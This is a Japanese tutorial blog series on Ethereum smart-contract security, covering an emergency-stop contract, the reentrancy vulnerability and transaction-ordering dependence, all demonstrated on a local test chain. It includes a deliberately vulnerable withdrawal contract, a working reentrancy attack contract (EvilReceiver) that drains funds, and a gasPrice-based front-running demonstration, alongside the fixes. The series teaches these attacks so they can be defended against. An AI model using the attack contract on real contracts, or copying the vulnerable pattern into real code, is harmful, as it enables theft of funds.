Ethereum(40) - Transaction-Ordering Dependence③(実行編)

前回は、Transaction-Ordering Dependence問題を検証するためのコントラクトをデプロイし、geth上で操作できるようにコントラクトの変数宣言を行いました。

今回はこのスマートコントラクトの動作確認を行います。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0])
    コントラクト生成者。売り手
  • ACCOUNT1 (eth.accounts[1])
    買い手。
  • ACCOUNT2 (eth.accounts[2])
    マイナー。

発行順通りに実行

動作確認は2つのトランザクを間髪入れずに連続で行う必要があるため、gethコンソール上から行います。

最初に買い手からbuy関数を呼び出し、2つ目でオーナーからupdate関数をコールしpriceを更新します。

buy関数のgasPriceを高く設定しているのがポイントとなります。

送金を行う前に各アカウントのロックを解除しています。

[コマンド]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> personal.unlockAccount(eth.accounts[0])
Unlock account 0xec3b01f36b44182746ca109230567c4915512e35
Passphrase:
true

> personal.unlockAccount(eth.accounts[1])
Unlock account 0x63f25b9bbd974fdfa07477cb99c60d2073cfe560
Passphrase:
true

> mpt.buy.sendTransaction(10, {from:eth.accounts[1], gas:5000000, gasPrice:90000000000, value:web3.toWei(500, "wei")});
"0xb3e313756c83d6dc25384c3edb45dd173cd7382f2ace5a7e91e059f424a4be1d"

> mpt.updatePrice.sendTransaction(15, {from:eth.accounts[0], gas:5000000, gasPrice:50000000000});
"0xc67339009a3350ebdc93aef77079a3b35ed7cfcf1b594febd1e546f26e690074"

実行結果を確認します。

[結果]

先にbuyを発行しているため、updatePriceでpriceが15 etherに更新される前のpriceで購入できているのは当たり前のように思えます。

しかし実際には発行順とは違う順番でトランザクションが実行されてしまうことがあります。

発行順と異なる実行

買い手はbuyトランザクションを発行する時に参照していたpriceではなくupdatePrice後のpriceで購入してしまうケースがあります。

コマンド発行順は同じですが、updatePrice関数のgasPriceを高く設定して実行してみます。

[コマンド]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> personal.unlockAccount(eth.accounts[0])
Unlock account 0xec3b01f36b44182746ca109230567c4915512e35
Passphrase:
true

> personal.unlockAccount(eth.accounts[1])
Unlock account 0x63f25b9bbd974fdfa07477cb99c60d2073cfe560
Passphrase:
true

> mpt.buy.sendTransaction(10, {from:eth.accounts[1], gas:5000000, gasPrice:50000000000, value:web3.toWei(500, "wei")});
"0x75840755d8756c7918b925329b83ddba5d62c43caeb7c80f9144b15c5594c173"

> mpt.updatePrice.sendTransaction(20, {from:eth.accounts[0], gas:5000000, gasPrice:90000000000});
"0x4583af1ec7929ba834d493482e57f0474349dba2d09cea8d8c9376d16409708f"

実行結果を確認します。

[結果]

買い手がbuyトランザクションを発行する時に参照していたpriceは15 ehterでしたが、20 ehterでの購入となってしまいました。


1回目と結果が変わったのは意図的にこの順番になるようにオーナーがトランザクションの順番をコントロールしたからです。

Ethereumではマイニングする際に、gasPriceが高いトランザクションを優先して実行するようになっています。

そのため、後者のトランザクションのgasPriceを前者のgasPriceより高く設定すれば、トランザクションの発行順によらず後者が優先されてしまいます。

次回は、トランザクションのイベントを検知しこの操作を自動化してみます。

Ethereum(39) - Transaction-Ordering Dependence②(デプロイ編)

前回は、Transaction-Ordering Dependence問題を検証するためのサンプルコードを準備しました。

今回はそのスマートコントラクトをデプロイし、gethコンソール上でそのコントラクトを操作できるように準備します。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0])
    コントラクト生成者。売り手
  • ACCOUNT1 (eth.accounts[1])
    買い手。
  • ACCOUNT2 (eth.accounts[2])
    マイナー。

デプロイ

まずはデプロイを行います。デプロイアカウントはMAIN ACCOUNTです。

デプロイするのはMarket Place TODです。

[デプロイ]


デプロイ後のコントラクトの状態を確認します。

[コントラクト状態]

コントラクトのアドレスインターフェースは、geth上のコントラクト定義の際に必要になりますので、コピーしておいて下さい。

geth上でコントラクト変数定義

geth上でコントラクトを操作できるようにmptという変数名で定義します。

コントラクトを定義する際は次のようなコマンドを実行します。

[コントラクトの定義方法]

1
var mpt = eth.contract(インターフェース).at('アドレス')

インターフェースとアドレスには、Mist Walletから取得したものを設定します。

[コマンド]

1
var mpt = eth.contract([ { "constant": true, "inputs": [], "name": "stockQuantity", "outputs": [ { "name": "", "type": "uint256", "value": "100" } ], "payable": false, "type": "function" }, { "constant": false, "inputs": [ { "name": "_price", "type": "uint256" } ], "name": "updatePrice", "outputs": [], "payable": false, "type": "function" }, { "constant": true, "inputs": [], "name": "owner", "outputs": [ { "name": "", "type": "address", "value": "0xec3b01f36b44182746ca109230567c4915512e35" } ], "payable": false, "type": "function" }, { "constant": true, "inputs": [], "name": "price", "outputs": [ { "name": "", "type": "uint256", "value": "10" } ], "payable": false, "type": "function" }, { "constant": false, "inputs": [ { "name": "_quantity", "type": "uint256" } ], "name": "buy", "outputs": [], "payable": true, "type": "function" }, { "inputs": [], "payable": false, "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": false, "name": "_price", "type": "uint256" } ], "name": "UpdatePrice", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": false, "name": "_price", "type": "uint256" }, { "indexed": false, "name": "_quantity", "type": "uint256" }, { "indexed": false, "name": "_value", "type": "uint256" }, { "indexed": false, "name": "_change", "type": "uint256" } ], "name": "Buy", "type": "event" } ]).at('0x350aC614C66c28dF49B9791A59c2b388b3253F18')

定義したコントラクトの内容はgeth上で確認できます。

[定義したコントラクトの内容確認]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
> mpt
{
abi: [{
constant: true,
inputs: [],
name: "stockQuantity",
outputs: [{...}],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{...}],
name: "updatePrice",
outputs: [],
payable: false,
type: "function"
}, {
constant: true,
inputs: [],
name: "owner",
outputs: [{...}],
payable: false,
type: "function"
}, {
constant: true,
inputs: [],
name: "price",
outputs: [{...}],
payable: false,
type: "function"
}, {
constant: false,
inputs: [{...}],
name: "buy",
outputs: [],
payable: true,
type: "function"
}, {
inputs: [],
payable: false,
type: "constructor"
}, {
anonymous: false,
inputs: [{...}],
name: "UpdatePrice",
type: "event"
}, {
anonymous: false,
inputs: [{...}, {...}, {...}, {...}],
name: "Buy",
type: "event"
}],
address: "0x350aC614C66c28dF49B9791A59c2b388b3253F18",
transactionHash: null,
Buy: function(),
UpdatePrice: function(),
allEvents: function(),
buy: function(),
owner: function(),
price: function(),
stockQuantity: function(),
updatePrice: function()
}

以上で、geth上でコントラクトの操作を行う準備ができました。


次回は、このスマートコントラクトの動作確認を行います。

Ethereum(38) - Transaction-Ordering Dependence①(実装編)

トランザクションがブロックに取り込まれる順番はマイナーに依存するため、意図した順番でトランザクションが実行されないことがあります。

この問題はTransaction-Ordering Dependenceと呼ばれています。

サンプルコードを作成し、この問題を検証していきます、

実装

Transaction-Ordering Dependence問題を確認するための、サンプルコードは下記の通りです。

マーケットプレイスを表現したスマートコントラクトになります。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pragma solidity ^0.4.11;

contract MarketPlaceTOD {
address public owner;
uint public price; // 1個あたりの金額
uint public stockQuantity; // 在庫数

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

event UpdatePrice(uint _price);
event Buy(uint _price, uint _quantity, uint _value, uint _change);

/// コンストラクタ
function MarketPlaceTOD() {
owner = msg.sender;
price = 10;
stockQuantity = 100;
}

/// 1個あたりの金額を更新
function updatePrice(uint _price) public onlyOwner {
price = _price;
UpdatePrice(price);
}

/// 購入処理
function buy(uint _quantity) public payable {
// 購入金額と在庫数を確認
if (msg.value < _quantity * price || _quantity > stockQuantity) {
throw;
}

// お釣りを返す
if(!msg.sender.send(msg.value - _quantity * price)) {
throw;
}

stockQuantity -= _quantity; // 在庫を減らす
Buy(price, _quantity, msg.value, msg.value - _quantity * price);
}
}

このコードのポイントは次の通りです。

  • 売り手がコントラクトを生成します。
  • 買い手がコントラクトにトランザクションを発行することで購入が成立します。
  • コントラクトは1個あたりの値段在庫数をステートに保持しています。
  • 値段はupdatePrice関数を実行することで、売り手が更新します。
  • 買い手はbuy関数をetherの送金を伴う形で呼び出すことで購入可能です。
  • 送金額がbuy関数の引数の購入数1個あたりの値段をかけた値以上で、在庫がある場合に購入できます。

次回は、このスマートコントラクトをデプロイし、geth上で動作確認できるようにコントラクト変数を定義します。

Ethereum(37) - Reentrancy問題⑤(実行編 - 改善版)

今回は、Reentrancy問題を改善したスマートコントラクトに対して攻撃を行います。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0])
    攻撃される側のコンストラクト(Victim Balance)生成者。
  • ACCOUNT1 (eth.accounts[1])
    攻撃される側のコントラクトに送金を行う通常のユーザ。
  • ACCOUNT2 (eth.accounts[2])
    攻撃する側のコンストラクト(Evil Receiverコ)生成者。
  • ACCOUNT3 (eth.accounts[3])
    マイナー。

攻撃される側のコントラクト(改善版)をデプロイ

まずはデプロイを行います。デプロイアカウントはMAIN ACCOUNTです。

デプロイするのは、前回改善したVictim Balanceコントラクトになります。

[Victim Balanceコントラクトのデプロイ]


デプロイ後のコントラクトの状態を確認します。

[攻撃される側のコントラクト状態]

デプロイ直後なので、コントラクトの残高が0 ehterであることが確認できます。

攻撃する側のコントラクトをデプロイ

次は攻撃する側のコントラクトのデプロイを行います。デプロイアカウントはACCOUNT2です。

デプロイするのは、Evil Receiverコントラクトになります。

targetには、攻撃される側のコントラクト(改善したVictim Balance)のアドレスを設定します。

[Evil Receiverコントラクトのデプロイ]


デプロイ後のコントラクトの状態を確認します。

[攻撃する側のコントラクト状態]

ターゲットのコントラクトがVictim Balanceとなっていることが確認できます。

通常のユーザから送金

ACCOUNT1から、攻撃される側のコントラクト(Victim Balance)に20 ether送金します。

Add To Balance関数を使用します。

[送金]


送金後のコントラクトの状態を確認します。

[攻撃される側のコントラクト状態]

残高が20 etherになっていることが確認できます。

攻撃する側のコントラクトに送金

ACCOUNT2から、攻撃する側のコントラクト(Evil Receiver)に10 etherを送金します。

Add Balance関数を使用します。

[送金]


送金後のコントラクトの状態を確認します。

[攻撃する側のコントラクト状態]

残高が10 etherになっていることが確認できます。

攻撃する側のコントラクトから送金

攻撃する側のコントラクト(Evil Receiver)から攻撃される側のコントラクト(Victim Balance)に10 etherを送金します。

Send Eth To Target関数を使用します。

[送金]


攻撃される側のコントラクトの状態を確認します。

[攻撃される側のコントラクト状態]

10 ether追加されて、残高が30 etherになりました。


攻撃する側のコントラクトの状態を確認します。

[攻撃する側のコントラクト状態]

10 ether送金したので、残高が0 etherになりました

攻撃する側のコントラクトから返金要求

攻撃する側のコントラクト(Evil Receiver)から攻撃される側のコントラクト(Victim Balance)に返金要求を行います。Withdraw関数を使用します。

10 ether送金したので、返金額は10 etherとなるはずです。

[返金]


攻撃された側のコントラクト状態を確認します。

[攻撃される側のコントラクト状態]

改善前は、20 ether送金されてしまい10 etherしか残っていませんでしたが、今回は問題なく10 etherが返金され残高が20 etherとなっています。


攻撃した側のコントラクト状態も確認します。

[攻撃する側のコントラクト状態]

前回は攻撃の結果20 ether引き出せましたが、今回は本来の10 ehterの返金となり攻撃に失敗しています。

以上で、Reentrancy問題のあったらスマートコントラクトの改善を確認することができました。

Ethereum(36) - Reentrancy問題④(実装編 - 改善版)

Reentrancy問題を解決するためのソース修正を行います。

処理フロー検討

問題のあったコントラクトの返金処理フローは下記のようになっていました。

 ① 残高を確認する。
 ② 残高の全額を引き出す(呼び出し元へ送金)
 ③ 管理している残高を0にする。

問題が発生した原因は、②の処理中に再度返金処理をコールされる可能性があるからでした。

この場合、③の残高を0にする前に①と②が再度実行されてしまい、再び送金処理が実行されてしまいます。

ということは②の送金処理の前に③の残高を0にする処理を実行すれば問題が解決するような気がします。

処理フロー(改善版)

処理フローを次のように改善します。

 ① 残高を確認する。
 ② 残高更新前に送金額を退避する。
 ③ 管理している残高を0にする。
 ④ 残高の全額を引き出す(呼び出し元へ送金)

④の送金する前に③の管理残高を0にしているところが改善点です。

また、③の残高更新前に②の返金額を退避しています。

実装(改善版)

改善版のソースコードは下記の通りです。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pragma solidity ^0.4.11;
contract VictimBalance {
// アドレス毎に残高を管理
mapping (address => uint) public userBalances;
event MessageLog(string); // メッセージ表示用のイベント
event BalanceLog(uint); // 残高表示用のイベント

/// コンストラクタ
function VictimBalance() {
}

/// 送金される際に呼ばれる関数
function addToBalance() public payable {
userBalances[msg.sender] += msg.value;
}

/// etherを引き出す時に呼ばれる関数
function withdrawBalance() public payable returns(bool) {
MessageLog("== withdrawBalance started. ==");
BalanceLog(this.balance);

// ①残高を確認
if(userBalances[msg.sender] == 0) {
MessageLog("No Balance.");
return false;
}

// ②残高更新前に送金額を退避
uint amount = userBalances[msg.sender];

// ③残高を更新
userBalances[msg.sender] = 0;

// ④呼出し元に返金
if (!(msg.sender.call.value(amount)())) { throw; }

MessageLog("=== withdrawBalance finished. ==");
return true;
}
}

修正箇所は23行目から35行目の返金フローです。


次回は、このコントラクトに対して再度同じ攻撃を行い問題が解決しているかどうかを確認します。

Ethereum(35) - Reentrancy問題③(実行編)

今回は、Reentrancy問題のあるスマートコントラクトに攻撃をしてみます。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0])
    攻撃される側のコンストラクト(Victim Balance)生成者。
  • ACCOUNT1 (eth.accounts[1])
    攻撃される側のコントラクトに送金を行う通常のユーザ。
  • ACCOUNT2 (eth.accounts[2])
    攻撃する側のコンストラクト(Evil Receiverコ)生成者。
  • ACCOUNT3 (eth.accounts[3])
    マイナー。

攻撃される側のコントラクトをデプロイ

まずはデプロイを行います。デプロイアカウントはMAIN ACCOUNTです。

デプロイするのは、Victim Balanceコントラクトになります。

[Victim Balanceコントラクトのデプロイ]


デプロイ後のコントラクトの状態を確認します。

[攻撃される側のコントラクト状態]

デプロイ直後なので、コントラクトの残高が0 ehterであることが確認できます。

攻撃する側のコントラクトをデプロイ

次は攻撃する側のコントラクトのデプロイを行います。デプロイアカウントはACCOUNT2です。

デプロイするのは、Evil Receiverコントラクトになります。

targetには、攻撃される側のコントラクトのアドレスを設定します。

[Evil Receiverコントラクトのデプロイ]


デプロイ後のコントラクトの状態を確認します。

[攻撃する側のコントラクト状態]

ターゲットのコントラクトがVictim Balanceとなっていることが確認できます。

通常のユーザから送金

ACCOUNT1から、攻撃される側のコントラクト(Victim Balance)に20 ether送金します。

Add To Balance関数を使用します。

[送金]


送金後のコントラクトの状態を確認します。

[攻撃される側のコントラクト状態]

残高が20 etherになっていることが確認できます。

攻撃する側のコントラクトに送金

ACCOUNT2から、攻撃する側のコントラクト(Evil Receiver)に10 etherを送金します。

Add Balance関数を使用します。

[送金]


送金後のコントラクトの状態を確認します。

[攻撃する側のコントラクト状態]

残高が10 etherになっていることが確認できます。

攻撃する側のコントラクトから送金

攻撃する側のコントラクト(Evil Receiver)から攻撃される側のコントラクト(Victim Balance)に10 etherを送金します。

Send Eth To Target関数を使用します。

[送金]


攻撃される側のコントラクトの状態を確認します。

[攻撃される側のコントラクト状態]

10 ether追加されて、残高が30 etherになりました。


攻撃する側のコントラクトの状態を確認します。

[攻撃する側のコントラクト状態]

10 ether送金したので、残高が0 etherになりました

攻撃する側のコントラクトから返金要求

攻撃する側のコントラクト(Evil Receiver)から攻撃される側のコントラクト(Victim Balance)に返金要求を行います。Withdraw関数を使用します。

10 ether送金したので、返金額は10 etherとなるはずです。

[返金]


攻撃された側のコントラクト状態を確認します。

[攻撃される側のコントラクト状態]

問題が発生しました。

10 ether返金されたはずなので、20 etherの残高のはずが10 etherしかありません。


攻撃した側のコントラクト状態も確認します。

[攻撃する側のコントラクト状態]

本来は攻撃する側のコントラクトからは10 ehterしか引き出せないはずですが、20 etherを引き出せています。

これは、攻撃される側のコントラクト(Victim Balance)で返金処理後に残高更新していることに問題があります。

Fallback関数から再度攻撃される側の返金用関数(withdraw関数)が呼び出さると残高があるという判定になり、再返金処理が実行されてしまっているのです。

(イベントログにて、処理フローを確認したかったのですが、ログが時系列に出力されずにとても確認しづらかったので省略します😥😥)


次回はこのReentrancy問題を解決するためのソース修正を行います。

Ethereum(34) - Reentrancy問題②(実装編 - 攻撃する側)

スマートコントラクトの代表的な脆弱性であるReentrancy問題に関して2回目の記事です。

Reentrancy問題とは、複数の呼び出し元から同時に呼び出された場合に問題が発生してしまうことを指します。

今回は、Reentrancy問題のあるコントラクトに対して攻撃を行うコードを実装します。

実装(攻撃する側)

攻撃を行うサンプルソースは次の通りです。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity ^0.4.11;
contract EvilReceiver {

address public target; // 攻撃対象コントラクトのアドレス
event MessageLog(string); // メッセージ表示用のイベント
event BalanceLog(uint); // 残高表示用のイベント

/// コンストラクタ
function EvilReceiver(address _target) {
target = _target;
}

/// Fallback関数
function() payable{
BalanceLog(this.balance);
// 攻撃対象コントラクトのwithdrawBalanceを呼出し
if(msg.sender.call.value(0)(bytes4(sha3("withdrawBalance()")))) {
MessageLog("SUCCESS");
} else {
MessageLog("FAIL");
}
}

/// EOAからの送金時に利用する関数
function addBalance() public payable {
}

/// 攻撃対象コントラクトへの送金時に利用する関数
function sendEthToTarget() public {
if(!target.call.value(10 ether)(bytes4(sha3("addToBalance()")))) {throw;}
}

/// 攻撃対象コントラクトからの引出し時に利用する関数
function withdraw() public {
if(!target.call.value(0)(bytes4(sha3("withdrawBalance()")))) {throw;}
}
}

各関数は次のような処理を行います。

  • Fallback関数 (14-23行目)
    攻撃対象のコントラクト(前回実装したコントラクト)の返金処理 msg.sender.call.value(userBalances[msg.sender])()がコールされると、呼び出される関数です。
    返金処理の中で再度、引き出し処理を行うのがもっとも重要なポイントとなります。
  • sendEthToTarget関数 (30-32行目)
    攻撃対象のコントラクトへ送金する処理です。
  • withdraw関数 (35-37行目)
    攻撃対象のコントラクトへ返金を要求する処理です。

次回は、攻撃対象のコントラクトと攻撃用のコントラクトをデプロイして動作確認を行います。

Ethereum(33) - Reentrancy問題①(実装編 - 攻撃される側)

スマートコントラクトの代表的な脆弱性であるReentrancy問題を考えます。

Reentrancy問題とは、複数の呼び出し元から同時に呼び出された場合に問題が発生してしまうことを指します。

サンプルケース

例として、コントラクトに送金されたetherをユーザごとに管理し、ユーザは残高分だけ引き出し(返金)できるコントラクトを作成します。

返金する際の流れは下記の通りです。

 ① 残高を確認する。
 ② 残高の全額を引き出す(呼び出し元へ送金)
 ③ 管理している残高を0にする。

実装(攻撃される側)

サンプルケースを実装したコントラクトのソースは下記の通りです。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pragma solidity ^0.4.11;
contract VictimBalance {
// アドレス毎に残高を管理
mapping (address => uint) public userBalances;

// メッセージ表示用のイベント
event MessageLog(string);

// 残高表示用のイベント
event BalanceLog(uint);

/// コンストラクタ
function VictimBalance() {
}

/// 送金される際に呼ばれる関数
function addToBalance() public payable {
userBalances[msg.sender] += msg.value;
}

/// etherを引き出す時に呼ばれる関数
function withdrawBalance() public payable returns(bool) {
MessageLog("== withdrawBalance started ==");
BalanceLog(this.balance);

// ①残高を確認
MessageLog("1. check balances");
if(userBalances[msg.sender] == 0) {
MessageLog("No Balance.");
return false;
}

// ②呼出し元に返金
MessageLog("2. send ether.");
if (!(msg.sender.call.value(userBalances[msg.sender])())) { throw; }

// ③残高を更新
MessageLog("3. update balances.");
userBalances[msg.sender] = 0;

MessageLog("== withdrawBalance finished ==");
return true;
}
}

返金処理はwithdrawBalance関数(22行目)で行います。

この関数では、マップを使って呼び出し元のアドレスの残高を確認し、残高が0でなければ呼び出し元に全て返金し、返金が完了したらマップで管理している残高を0にしています。

MessageLog関数を使って、どの処理まで行われたかを確認できるようにしてあります。


実は、このコントラクトはReentrancy問題を抱えています。

次回は、このコントラクトに対して攻撃を行うコントラクトを実装します。

Ethereum(32) - 緊急停止機能のあるスマートコントラクト②(実行編)

今回は、緊急停止機能のあるスマートコントラクトの動作確認を行います。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0])
    コンストラクトの生成者。
  • ACCOUNT1 (eth.accounts[1])
    メッセージの変更を行うユーザ。アカウント1。
  • ACCOUNT2 (eth.accounts[2])
    マイナー。
  • ACCOUNT3 (eth.accounts[3])
    メッセージの変更を行うユーザ。アカウント3。

デプロイ

まずはデプロイを行います。デプロイアカウントはMAIN ACCOUNTです。

デプロイするコントラクトは、Circuit Breakerコントラクトになります。

[デプロイ時のイメージ]

デプロイ後のコントラクトの状態を確認します。

[コントラクト状態]



StoppedステートがNo(=false)となっているので、コントラクトが有効であることが分かります。

またオーナーがMAIN ACCOUNTで、Messageが初期状態の0x00000000000000000000000000000000であることも確認できます。

メッセージの変更

Set Message関数をコールして、メッセージを変更します。

アカウント1から、メッセージ“0x616263”(=abc)を設定します。

[メッセージ変更]

コントラクトの状態を確認します。

[コントラクト状態]



メッセージが“0x616263”に変更されていることが確認できます。

緊急停止

オーナーアドレスから緊急停止を行います。

Toggle Circuit関数を指定し、stoppedステートのYesチェックボックスを選択し、EXECUTEボタンをクリックします。

[緊急停止]


コントラクトの状態を確認します。

[コントラクト状態]

StoppedステートがYESに変更され、緊急停止状態になっていることが確認できます。

メッセージの変更

再度Set Message関数をコールして、メッセージを変更します。

アカウント3から、メッセージ“0x646566”(=def)を設定します。

また最大消費手数料としては5,000,000 weiを指定しました。(EXECUTEボタン押下後のダイアログ画面にて)

[メッセージ変更]

コントラクトの状態を確認します。

[コントラクト状態]

メッセージが変更されずに“0x616263”のままとなっています。


トランザクションも確認します。

[トランザクションの確認]

Gas Usedが5,000,000 weiとなっており、手数料が最大で消費されているのでこのトランザクションが失敗したことを確認できます。

まとめ

スマートコントラクトは、リリース前に脆弱性をできる限りなくすことが重要ですが、どんなにテストを行ったとしてもリリース後に脆弱性が見つかる可能性があります。

そのため、緊急停止を行う機能はセキュリティを考慮して必ず実装しておくべきです。

Ethereum(31) - 緊急停止機能のあるスマートコントラクト①(実装編)

スマートコントラクトは一度デプロイされると修正ができないため、バグや脆弱性が見つかった際には、不具合や攻撃にさらされる状態が永続的に続く危険性があります。

そのため、スマートコントラクトには緊急停止装置のような機能を準備しておくことが望ましいです。

今回は、緊急停止用の関数再開用の関数をもつスマートコントラクトを作成します。

実装

緊急停止用の関数再開用の関数をもつスマートコントラクトのサンプルコードは下記のようになります。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.11;
contract CircuitBreaker {
bool public stopped; // trueの場合、Circuit Breakerが発動中
address public owner;
bytes16 public message;

/// アクセス制限用modifier
modifier onlyOwner() {
require(msg.sender == owner);
_;
}

/// stopped変数を確認するmodifier
modifier isStopped() {
require(!stopped);
_;
}

/// コンストラクタ
function CircuitBreaker() {
owner = msg.sender;
stopped = false;
}

/// stoppedの状態を変更
function toggleCircuit(bool _stopped) public onlyOwner {
stopped = _stopped;
}

/// messageを更新する関数
/// stopped変数がtrueの場合は更新不可
function setMessage(bytes16 _message) public isStopped {
message = _message;
}
}

上記コントラクトのポイントは次の通りです。

  • toggleCircuit関数 (26-28行目)
    コントラクトを緊急停止・再開させる関数です。
    引数にtrueを指定した場合は停止状態になり、falseを指定した場合はコントラクトが有効(再開)状態になります。
  • isStopped modifier (14-17行目)
    停止状態の場合は処理が中断されるようになるmodifierです。
    今回のサンプルでは、setMessage関数(32行目)にisStopped modifierが付与されているので、停止状態の場合messeageを変更することができなくなります。

次回は、このコントラクトの動作確認を行います。


Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×